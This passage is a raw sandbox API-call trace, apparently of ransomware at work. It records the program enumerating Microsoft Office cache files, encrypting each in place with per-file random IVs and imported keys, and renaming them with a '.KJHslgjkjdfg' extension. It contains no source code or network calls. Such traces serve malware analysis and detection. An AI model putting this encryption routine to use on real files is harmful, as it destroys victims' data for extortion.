pbData=0x2f15340*, pdwDataLen=0x4dff4e0*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dff4e0*=0x50) returned 1 [0166.240] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.241] WriteFile (in: hFile=0x124, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dff4f8*=0x50, lpOverlapped=0x0) returned 1 [0166.241] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0166.241] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0166.241] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0166.241] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.241] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0166.241] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.241] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.241] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.241] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0xaec3a, lpOverlapped=0x0) returned 1 [0166.250] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xaec40) returned 1 [0166.265] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.265] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0xaec40, lpOverlapped=0x0) returned 1 [0166.266] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.266] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.266] SetEndOfFile (hFile=0x124) returned 1 [0166.270] GetProcessHeap () returned 0x2ef0000 [0166.270] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0166.270] GetProcessHeap () returned 0x2ef0000 [0166.270] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.270] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.kjhslgjkjdfg")) returned 1 [0166.271] CloseHandle (hObject=0x124) returned 1 [0166.271] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0166.271] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.273] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=10798080) returned 1 [0166.273] GetProcessHeap () returned 0x2ef0000 [0166.274] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.274] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.274] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.274] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.274] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.274] GetProcessHeap () returned 0x2ef0000 [0166.274] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0166.274] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0166.274] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.274] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0166.276] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0166.276] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0166.276] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0166.276] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.277] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0166.277] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.277] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.277] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.277] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.281] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.285] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.285] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.286] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.286] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.286] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.286] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.290] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.293] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.293] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.294] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.294] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.294] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.294] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.300] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.304] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.304] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.305] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.305] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.306] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.306] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa4c4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.306] SetEndOfFile (hFile=0x124) returned 1 [0166.309] GetProcessHeap () returned 0x2ef0000 [0166.309] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0166.309] GetProcessHeap () returned 0x2ef0000 [0166.309] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.309] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.kjhslgjkjdfg")) returned 1 [0166.310] CloseHandle (hObject=0x124) returned 1 [0166.310] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0166.310] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.311] GetProcessHeap () returned 0x2ef0000 [0166.311] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.311] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.311] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0166.312] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xb, lpOverlapped=0x0) returned 1 [0166.314] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.314] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.314] GetProcessHeap () returned 0x2ef0000 [0166.314] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0166.314] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0166.314] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.314] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0166.314] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0166.314] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0166.314] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0166.314] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.315] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0166.315] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.315] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.315] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.315] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x1915, lpOverlapped=0x0) returned 1 [0166.316] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x1920, dwBufLen=0x1920 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x1920) returned 1 [0166.316] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.316] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x1920, lpOverlapped=0x0) returned 1 [0166.316] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.316] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x19f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.316] SetEndOfFile (hFile=0x124) returned 1 [0166.319] GetProcessHeap () returned 0x2ef0000 [0166.319] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0166.319] GetProcessHeap () returned 0x2ef0000 [0166.319] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.319] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.kjhslgjkjdfg")) returned 1 [0166.323] CloseHandle (hObject=0x124) returned 1 [0166.323] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0166.323] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.323] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=162970271) returned 1 [0166.323] GetProcessHeap () returned 0x2ef0000 [0166.323] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.324] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.324] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.324] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x1, lpOverlapped=0x0) returned 1 [0166.326] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.326] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.326] GetProcessHeap () returned 0x2ef0000 [0166.326] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0166.326] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0166.326] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.326] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0166.326] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0166.326] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0166.327] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0166.327] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.327] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0166.327] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.327] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.327] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.327] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.329] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.335] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.335] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) 